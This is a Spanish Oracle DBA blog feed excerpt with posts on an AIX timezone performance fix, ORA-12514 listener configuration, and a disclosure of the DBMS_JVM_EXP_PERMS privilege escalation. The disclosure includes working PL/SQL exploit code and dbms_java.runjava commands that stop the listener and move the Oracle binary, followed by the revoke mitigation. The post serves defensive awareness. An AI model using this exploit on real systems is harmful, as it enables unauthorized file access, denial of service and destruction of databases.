Aparte de las presentaciones técnicas, &lt;b&gt;Larry Ellison&lt;/b&gt; siempre busca robarse el show, y este año no sería la excepción: hay fuertes rumores de que nos daria la sorpresa con el lanzamiento de &lt;b&gt;Oracle 12c Database&lt;/b&gt;, nada mal, cruzo los dedos para que así sea.&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
Y como no todo es Oracle, aprovecharé a tomar una semana de descanso, para conocer las atracciones principales de &lt;b&gt;San Francisco&lt;/b&gt; (Alcatráz, Golden Gate) y probablemente &lt;b&gt;San Diego&lt;/b&gt; (Zoo, SeaWorld), y por qué no, para deleitarme con un buen cebiche al estilo peruano en &lt;b&gt;La Mar&lt;/b&gt; &lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCo6dnAu-zxTcPBKtg5lm2xaOQJCU24qQl-8BVRO41FMGZGp0imRxtegg-8lThBgqkkwhVejk-meRnliyNiIG_U2uALGas4BaMAsfgtOe9EwgkbdW9o5W9tq30iLOfRc6RogUcM2KxrTa6/"/&gt;.&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
Es todo por el momento amigos, prometo mantenerlos al tanto de las novedades en el OOW (siganme en Twitter &lt;b&gt;@enriqueorbegozo&lt;/b&gt;) y a mi retorno retomar los Posts técnicos, que buen tiempo he abandonado, hasta la próxima!&lt;/div&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2012/09/oow-2012-alla-voy.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiALXqnh067FY2ftOcBmzy05iilqJpBg3yqeVFB6nbkZuFS7Kr4q0XYH0DAAqGTs88liI8lbam1namDdyTveZsLHatlBJbPwcopj_WI2nQzoY_d0wwT0ecbKGdndwuqQ8lgebyfdTjMuf4H/s72-c/oow2012.jpg" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-7432806790854429943</guid><pubDate>Sun, 01 Apr 2012 07:16:00 +0000</pubDate><atom:updated>2012-04-01T20:17:17.757-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">AIX</category><category domain="http://www.blogger.com/atom/ns#">Tuning</category><title>Las paradojas del tiempo</title><description>&lt;div&gt;En esta ocasión les voy a contar sobre un problema muy singular y la forma en que fue resuelto, estoy seguro que muchos usuarios de &lt;b&gt;AIX 6.1&lt;/b&gt;, y quizás de otras plataformas, deben tener este problema y no lo han notado aún.&lt;/div&gt;&lt;br/&gt;
&lt;span class="fullpost"&gt;
&lt;div&gt;La historia se remonta a unos meses atrás, había concluido el upgrade de una base de datos desde &lt;b&gt;Oracle 10.2.0.3&lt;/b&gt; hacia &lt;b&gt;Oracle 11.2.0.2.3&lt;/b&gt;, que era la versión más reciente en ese momento, y luego de ello nos percatamos de que los tiempos de respuesta se habían deteriorado, sin explicación alguna.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Como el upgrade incluyó la migración de la base de datos a un nuevo servidor, empezamos a hacer algunas pruebas usando ambos servidores y ambas versiones de Oracle y finalmente logramos reducir el problema al uso de &lt;b&gt;SYSDATE&lt;/b&gt;, con los resultados que se muestra a continuación.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;DECLARE
  v_dt DATE;
BEGIN
  FOR i IN 1 .. 1000000 LOOP
    SELECT SYSDATE INTO v_dt FROM dual;
  END LOOP;
END;
/

Antiguo servidor
10.2.0.3:
Elapsed: 00:00:32.17

11.2.0.2.3:
Elapsed: &lt;span style="color: red; font-weight:bold;"&gt;00:00:41.09&lt;/span&gt;

Nuevo servidor
11.2.0.2.3:
Elapsed: &lt;span style="color: red; font-weight:bold;"&gt;00:00:56.89&lt;/span&gt;
&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Noten como en el antiguo computador, Oracle 11.2 toma &lt;b&gt;28%&lt;/b&gt; más tiempo en procesar que Oracle 10.2, y en el nuevo computador la situación es más grave aún pues toma &lt;b&gt;78%&lt;/b&gt; más tiempo, esto considerando que el nuevo computador es el doble de rápido que el antiguo!&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Como el problema era evidente recurrimos a Oracle Support, quienes finalmente nos recomendaron hacer &lt;b&gt;upgrade&lt;/b&gt; al reciente &lt;b&gt;Oracle 11.2.0.3&lt;/b&gt;, lo que hicimos inicialmente en el &lt;b&gt;antiguo&lt;/b&gt; servidor, con el siguiente resultado:&lt;/div&gt;&lt;br/&gt;
&lt;pre class="codigo"&gt;Elapsed: 00:00:32.62&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;La situación mejoró notablemente y ya se observaban tiempos similares a los que Oracle 10.2.0.3 proporcionaba, así que iniciamos el upgrade del servidor de &lt;b&gt;producción&lt;/b&gt; hacia Oracle &lt;b&gt;11.2.0.3&lt;/b&gt;. Grande fue nuestra sorpresa cuando luego de ello encontramos lo siguiente:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;Elapsed: 00:00:51.53&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;La mejora solo fue de &lt;b&gt;9%&lt;/b&gt;, terrible, inexplicable, desalentador. Fue entonces que Oracle sacó su as bajo la manga y nos indicó aplicar el patch para el bug &lt;b&gt;12596494&lt;/b&gt; &lt;i&gt;GENERALLY HIGHER CPU USAGE IN 11.2.0.2 THAN 10.2.0.4 11.2.0.3.0 IBM AIX on POWER Systems (64-bit)&lt;/i&gt;, que ya habíamos aplicado en Oracle 11.2.0.2.3 pero que no había sido resuelto aún en 11.2.0.3. Con la esperanza de que finalmente resolveríamos el problema lo aplicamos en el servidor de producción, obteniendo el siguiente resultado:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;Elapsed: 00:00:43.43&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Aún con el patch aplicado, el tiempo era &lt;b&gt;34%&lt;/b&gt; superior al que Oracle 10.2.0.3 lograba en el antiguo servidor,  con procesadores mucho más lentos que el de producción.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Ya se nos habían agotado todas las ideas, pero como bien dicen: cuando está todo más oscuro, es porque está por amanecer, y fue justo en este momento que IBM hizo su aparición: un Ingeniero de IBM de Argentina nos dirigió al &lt;a href="http://www-01.ibm.com/support/docview.wss?uid=isg1IZ86764"&gt;&lt;b&gt;APAR IZ86764&lt;/b&gt; &lt;i&gt;PERFORMACE DIFFERENCE WHEN USING OLSON TZ .VS. POSIX TZ&lt;/i&gt;&lt;/a&gt;:&lt;/div&gt;&lt;br /&gt;
&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-style: italic;"&gt;&lt;b&gt;Problem summary&lt;/b&gt;&lt;br/&gt;
&lt;div&gt;Doc change noting performance impact when using Olson time zone instead of Posix time zone.&lt;/div&gt;&lt;br/&gt;
&lt;b&gt;Problem conclusion&lt;/b&gt;&lt;br/&gt;
&lt;div&gt;There will be new information addeded to the "Miscellaneous tunable parameters" section under "Tunable parameters – Environment variables" in the Performance Management Guide regarding the Olson time zone, basically stating that TZ in AIX 6.1 and later are defaulted to Olson time zone, and &lt;b&gt;&lt;u&gt;may be tuned to POSIX time zone for performance sensitive applications&lt;/u&gt;&lt;/b&gt; that do not depend on adequately handled changes to time zone rules and daylight saving time.&lt;/div&gt;
&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;div&gt;¡Bingo! Comparando el antiguo y el nuevo servidor encontramos:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@old.server]$ oslevel –s
5300-07-00-0000
[root@old.server]$ echo $TZ
EST5 &lt;b&gt;(POSIX)&lt;/b&gt;

[root@new.server]$ oslevel –s
6100-06-05-1115
[root@new.server]$ echo $TZ
America/Lima &lt;b&gt;(OLSON)&lt;/b&gt;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;En efecto, esa era la diferencia entre ambos servidores, el antiguo usaba un TZ del tipo &lt;b&gt;Posix&lt;/b&gt;, a diferencia del nuevo, que usaba TZ del tipo &lt;b&gt;Olson&lt;/b&gt;, así que de inmediato hicimos el cambio:&lt;/div&gt;&lt;/br&gt;
&lt;pre class="codigo"&gt;/etc/environment
#TZ=America/Lima
TZ=EST5&lt;/pre&gt;&lt;/br&gt;
&lt;div&gt;Y a continuación realizamos la prueba de rigor, con el resultado:&lt;/div&gt;
&lt;pre class="codigo"&gt;Elapsed: 00:00:17.19&lt;/pre&gt;&lt;/br&gt;
&lt;div&gt;Finalmente logramos que el proceso se ejecutara en menos tiempo, siendo &lt;b&gt;88%&lt;/b&gt; más rápido con respecto a los tiempos observados en el antiguo computador, ¡problema resuelto!&lt;/div&gt;&lt;br/&gt;
&lt;div&gt;Algún tiempo después he tenido la oportunidad de trabajar con instalaciones similares (AIX 6.1 con Oracle 11.2), en las que venían trabajando con TZ del tipo Olson y sin aplicar patch alguno, por lo que me temo que para la gran mayoría de usuarios de esta combinación, el problema no ha sido notado aún y por consiguiente no tienen el desempeño que podrian tener.&lt;/div&gt;&lt;br/&gt;
&lt;div&gt;Hasta acá llegamos por ahora, espero que con lo indicado logren obtener mejoras en sus instalaciones, quizás esto ocurre también en otras plataformas, de ser así por favor compartan su experiencia por este medio, les estaremos muy agradecidos, hasta la próxima.&lt;/div&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2012/04/aix-olson-slow-sysdate.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-4803948006643698234</guid><pubDate>Fri, 02 Apr 2010 22:32:00 +0000</pubDate><atom:updated>2010-09-14T14:34:06.421-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Connectivity</category><title>Registro dinámico de servicios y ora-12514</title><description>&lt;div&gt;En algunas ocasiones he sido consultado sobre problemas de conectividad que se presentan sin previo aviso y vienen acompañados del mensaje de error &lt;i&gt;&lt;b&gt;ORA-12514: TNS:listener does not currently know of service requested in connect descriptor&lt;/b&gt;&lt;/i&gt;. Hay quienes indican que extrañamente la comunicación era perfecta poco antes y que ya han revisado los archivos de configuración como el &lt;b&gt;listener.ora&lt;/b&gt; y el &lt;b&gt;tnsnames.ora&lt;/b&gt; y que todo se ve bien pero aún así no logran establecer nuevas conexiones. Un detalle adicional es que todos estos casos tienen el común denominador de que el puerto en uso &lt;b&gt;no es el usual 1521&lt;/b&gt; sino algún otro. Considerando este escenario pre-determinado, síganme para ver lo simple que puede ser resolver este problema.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Conceptos previos&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;El background process &lt;b&gt;PMON&lt;/b&gt; se encarga de registrar dinámicamente con el listener los servicios disponibles en una base de datos, lo cual se conoce como &lt;b&gt;registro dinámico de servicios&lt;/b&gt;. Ahora bien, hay que tener en cuenta que &lt;b&gt;por defecto&lt;/b&gt; las bases de datos Oracle registran sus servicios con el &lt;b&gt;listener&lt;/b&gt; asumiendo que éste está atendiendo por el puerto &lt;b&gt;1521&lt;/b&gt;, si se usa un puerto &lt;b&gt;distinto&lt;/b&gt; a éste se requiere de medidas adicionales para permitir que PMON sepa dónde registrar los servicios de la base de datos o no lo logrará hacer y caeremos en el error &lt;i&gt;ORA-12514&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Solución&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1. &lt;/span&gt;No es inusual que se configure un puerto distinto al 1521, hay varias razones para ello pero principalmente se hace como &lt;b&gt;medida de seguridad&lt;/b&gt; adicional para prevenir ataques que aprovechan justamente que la &lt;b&gt;gran mayoría&lt;/b&gt; deja su listener configurado con el puerto por defecto 1521, de allí que cambiarlo sea &lt;b&gt;altamente recomendado&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Veamos primeramente un listener modificado (listener.ora):&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = &lt;i&gt;caliope&lt;/i&gt;)(PORT = &lt;i&gt;15402&lt;/i&gt;))
    )
  )
&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2. &lt;/span&gt;Esto se debe complementar con la configuración del parámetro &lt;b&gt;local_listener&lt;/b&gt;, para lo cual tenemos dos posibilidades, una primera en la que colocamos los datos explícitamente:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SQL&amp;gt; alter system set local_listener=&amp;quot;(address=(protocol=TCP)(host=&lt;i&gt;caliope&lt;/i&gt;)(port=&lt;i&gt;15402&lt;/i&gt;))&amp;quot;;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;O una segunda, en que se usa una cadena de conexión que se puede resolver mediante la consulta al archivo &lt;b&gt;tnsnames.ora&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SQL&amp;gt; alter system set local_listener=listener_bd;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;El alias &lt;i&gt;listener_bd&lt;/i&gt; debe existir localmente, como se observa a continuación (tnsnames.ora):&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;LISTENER_BD =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = &lt;i&gt;caliope&lt;/i&gt;)(PORT = &lt;i&gt;15402&lt;/i&gt;))
  )
&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3. &lt;/span&gt;Con esto solo nos resta verificar que la conectividad está efectivamente operativa, para lo cual consideramos la siguiente cadena de conexión (tnsnames.ora):&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;BD =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = &lt;i&gt;caliope&lt;/i&gt;)(PORT = &lt;i&gt;15402&lt;/i&gt;))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = bd)
    )
  )&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Misma que probamos con SQL*Plus&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@caliope ~]$ sqlplus system/oracle@bd

SQL*Plus: Release 11.1.0.7.0 - Production on Thu Apr 1 15:19:17 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SYSTEM@bd &amp;gt;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¡Todo funcionó a la perfección!&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Conclusión&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;¿Qué les pareció? ¿No está complicado verdad?, pero les sorprendería saber cuántos no siguen estas consideraciones y luego de crear listeneres adicionales, observan que se interrumpen las nuevas conexiones luego de detener el listener que usa el puerto 1521 y se pregunta el por qué, si se supone que esas bases de datos usan otros puertos en otros listeners; bueno, ahora ya lo saben, así que: ¡a corregir se ha dicho!&lt;/div&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2010/04/dynamic-service-registration-ora-12514.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><thr:total>11</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-5777274909641193724</guid><pubDate>Sun, 07 Feb 2010 05:14:00 +0000</pubDate><atom:updated>2010-02-10T11:11:12.008-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Security</category><title>Peligro inminente, ¡Dios nos coja confesados!</title><description>&lt;div&gt;Para los que aún no están enterados, se ha hecho pública una vulnerabilidad muy seria para quienes están trabajando con Oracle 10g o superior. Esta vulnerabilidad permite que un usuario con el mínimo privilegio de crear una sesión pueda tener acceso irrestricto a los archivos del servidor en el cual se está ejecutando la base de datos Oracle. Si quieren saber a qué nos estamos enfrentando a continuación les muestro lo fácil que es ganar estos privilegios, y lo dañino que puede resultar en manos inescrupulosas.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Volviéndose todopoderoso&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1. &lt;/span&gt;Primero preparemos el ambiente, creamos un usuario y le dejamos crear sesiones.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@rhel ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production


SYS@orcl &gt; create user test identified by test;

User created.

SYS@orcl &gt; grant create session to test;

Grant succeeded.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2. &lt;/span&gt;Ahora es cuestión de ejecutar el siguiente código.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

TEST@orcl &gt; DECLARE
  2    dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3    CURSOR c_dummy IS
  4      SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
  5             '&amp;lt;&amp;lt;ALL FILES&amp;gt;&amp;gt;', 'execute', 'ENABLED'
  6        FROM dual;
  7  BEGIN
  8    OPEN c_dummy;
  9    FETCH c_dummy BULK COLLECT INTO dummy;
 10    CLOSE c_dummy;
 11    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
 12  END;
 13  /

PL/SQL procedure successfully completed.

TEST@orcl &gt; exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3. &lt;/span&gt;Gracias al package &lt;b&gt;DBMS_JVM_EXP_PERMS&lt;/b&gt;, el cual tiene permisos de ejecución para PUBLIC, se ha logrado obtener acceso irrestricto a los archivos, tanto de lectura, escritura como de ejecución. Nuevamente nuestros amigos de Java metiéndonos en problemas, jajaja, pero ya bromas aparte, empecemos por un ataque relativamente benigno como detener el listener, lo que sería una forma relativamente simple de lo que es conocido como un ataque del tipo &lt;b&gt;DoS&lt;/b&gt; (Denial of Service).&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
oracle    7505     1  0 17:45 ?        00:00:00 /u01/app/oracle/11.1.0/db_1/bin/tnslsnr LISTENER -inherit

[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:50:29 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production


TEST@orcl &gt; select dbms_java.runjava('oracle/aurora/util/Wrapper /u01/app/oracle/11.1.0/db_1/bin/lsnrctl stop') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/U01/APP/ORACLE/11.1.0/DB_1/BIN/LSNRCTLSTOP')
----------------------------------------------------------------------------------------------------


TEST@orcl &gt; exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
[oracle@rhel ~]$&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Con esta acción se está impidiendo la creación de nuevas sesiones al no haber listener que las cree, lo que en la práctica significa que la base de datos ha pasado a estar parcialmente operativa.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;4. &lt;/span&gt;Desde luego se pueden hacer cosas perores, veamos ahora una acción mucho más destructiva, moveremos de sitio al ejecutable oracle pero bien podría ser su eliminación o la de todo el directorio en el que está instalado Oracle, los datafiles, etc., no hay límites al daño que se puede causar!!!&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb  2 17:43 /u01/app/oracle/11.1.0/db_1/bin/oracle
[oracle@rhel ~]$ sqlplus test/test

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:58:45 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

TEST@orcl &gt; select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /u01/app/oracle/11.1.0/db_1/bin/oracle /tmp/.') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/BIN/MV/U01/APP/ORACLE/11.1.0/DB_1/BIN/ORACLE/TMP/.')
----------------------------------------------------------------------------------------------------


TEST@orcl &gt; exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production

[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
ls: /u01/app/oracle/11.1.0/db_1/bin/oracle: &lt;span style="color: red; font-weight:bold;"&gt;No such file or directory&lt;/span&gt;

[oracle@rhel ~]$ ls -la /tmp/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb  2 17:43 /tmp/oracle&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Si nos quedaban dudas, a estas alturas creo que ya estamos convencidos que estamos ante un problema bastante serio. ¿Qué hacer? Por el momento no hay mayor alternativa que retirar los privilegios públicos de ejecución del paquete DBMS_JVM_EXP_PERMS, lo que impediría obtener amplios privilegios al invocarlo.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@rhel ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production

SYS@orcl &gt; revoke execute on DBMS_JVM_EXP_PERMS from public;

Revoke succeeded.

SYS@orcl &gt; connect test/test
Connected.
TEST@orcl &gt; DECLARE
  2    dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3    CURSOR c_dummy IS
  4      SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
  5             '&amp;lt;&amp;lt;ALL FILES&amp;gt;&amp;gt;', 'execute', 'ENABLED'
  6        FROM dual;
  7  BEGIN
  8    OPEN c_dummy;
  9    FETCH c_dummy BULK COLLECT INTO dummy;
 10    CLOSE c_dummy;
 11    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
 12  END;
 13  /

ERROR at line 2:
ORA-06550: line 2, column 13:
PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared
ORA-06550: line 2, column 13:
PL/SQL: Item ignored
ORA-06550: line 9, column 39:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 9, column 7:
PL/SQL: SQL Statement ignored
ORA-06550: line 11, column 43:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 11, column 6:
PL/SQL: Statement ignored&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Retirar el privilegio de PUBLIC es una alternativa radical que amerita la realización de pruebas extensas de funcionalidad por cuanto es posible que al retirar este privilegio algo por allí deje de funcionar, es un riesgo que siempre se corre pero no nos quedan muchas alternativas que digamos, mientras tanto habrá que esperar a que Oracle libere algún patch específico a la brevedad, porque esperar al próximo &lt;b&gt;CPU&lt;/b&gt;, en Abril de 2010, dejaría bastante tiempo disponible para eventuales ataques, así que a tomar medidas preventivas se ha dicho!!!&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: red; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Update &lt;/span&gt;&lt;div&gt;(Feb 10,2010)&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Mi buen amigo Ronald Vargas nos comenta en una &lt;a href="http://oracledbacr.blogspot.com/2010/02/exposicion-de-seguridad-en-el-rdbms.html"&gt;entrada reciente&lt;/a&gt; que: &lt;i&gt;"...Los problemas de seguridad a los que se hacen referencia en el documento de Enrique, para poder ser explotadas, el usuario debe tener acceso a nivel de sistema operativo a la herramienta SQL*Plus en el servidor, ya que el ejecutar un comando, requiere de privilegios administrativos, a los cuáles no puedes accesar, sino estas logeado localmente, ya sea en la consola del servidor o a través de un utilitario o emulador de ambiente gráfico de Windows ó Linux, o un utilitario de acceso de terminal remota..."&lt;/i&gt;. Ronald concluye su Post con: &lt;i&gt;"...Así que como les dije al principio, "que no panda el cúnico", no hay mucho de que alarmarnos..."&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Sobre el particular, Ronald estaría tomando como referencia lo indicado en &lt;a href="http://www.h-online.com/security/news/item/Vulnerability-in-Oracle-11gR2-allows-system-privileges-for-all-Update-923143.html"&gt;The H Security&lt;/a&gt;, pero al menos en mis pruebas personales no ha sido necesario estar conectado directamente en el servidor de base de datos para explotar este problema, logré reproducirlo conectado remotamente desde una estación con Windows Vista usando un cliente Oracle 11.1.0.7 y un usuario que solamente tiene el privilegio &lt;i&gt;create session&lt;/i&gt;:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;&lt;b&gt;Linux:&lt;/b&gt;
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb  9 09:26 /home/oracle/afiedt.buf

&lt;b&gt;Windows&lt;/b&gt;
C:\Windows\system32&gt;sqlplus test/test@orcl

SQL*Plus: Release 11.1.0.7.0 - Production on Wed Feb 10 10:50:56 2010

Copyright (c) 1982, 2008, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Release 11.1.0.7.0 - 64bit Production

TEST@orcl &gt; select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /home/oracle/afiedt.buf /home/oracle/afiedt.BUF') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPP
-------------------------------------------


TEST@orcl &gt; exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - 64bit Production

&lt;b&gt;Linux:&lt;/b&gt;
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb  9 09:26 /home/oracle/&lt;span style="color: red; font-weight:bold;"&gt;afiedt.BUF&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Asi que el peligro sigue siendo &lt;b&gt;real&lt;/b&gt; y su explotación bastante simple, tomen sus precauciones!&lt;/div&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;/div&gt;</description><link>http://blog.e-dba.biz/2010/02/peligro-inminente-dios-nos-coja.html</link><author>noreply@blogger.com (Enrique Orbegozo)</author><thr:total>5</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-5397281326781649444</guid><pubDate>Fri, 20 Nov 2009 00:30:00 +0000</pubDate><atom:updated>2009-11-20T09:20:24.600-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">presentación</category><title>Presentación en el PEOUG Day 2009</title><description>&lt;div&gt;El tiempo sí que vuela!, han pasado ya varias semanas sin actualizar el Blog producto de que las consultorías me vienen teniendo ocupado gran parte del día y 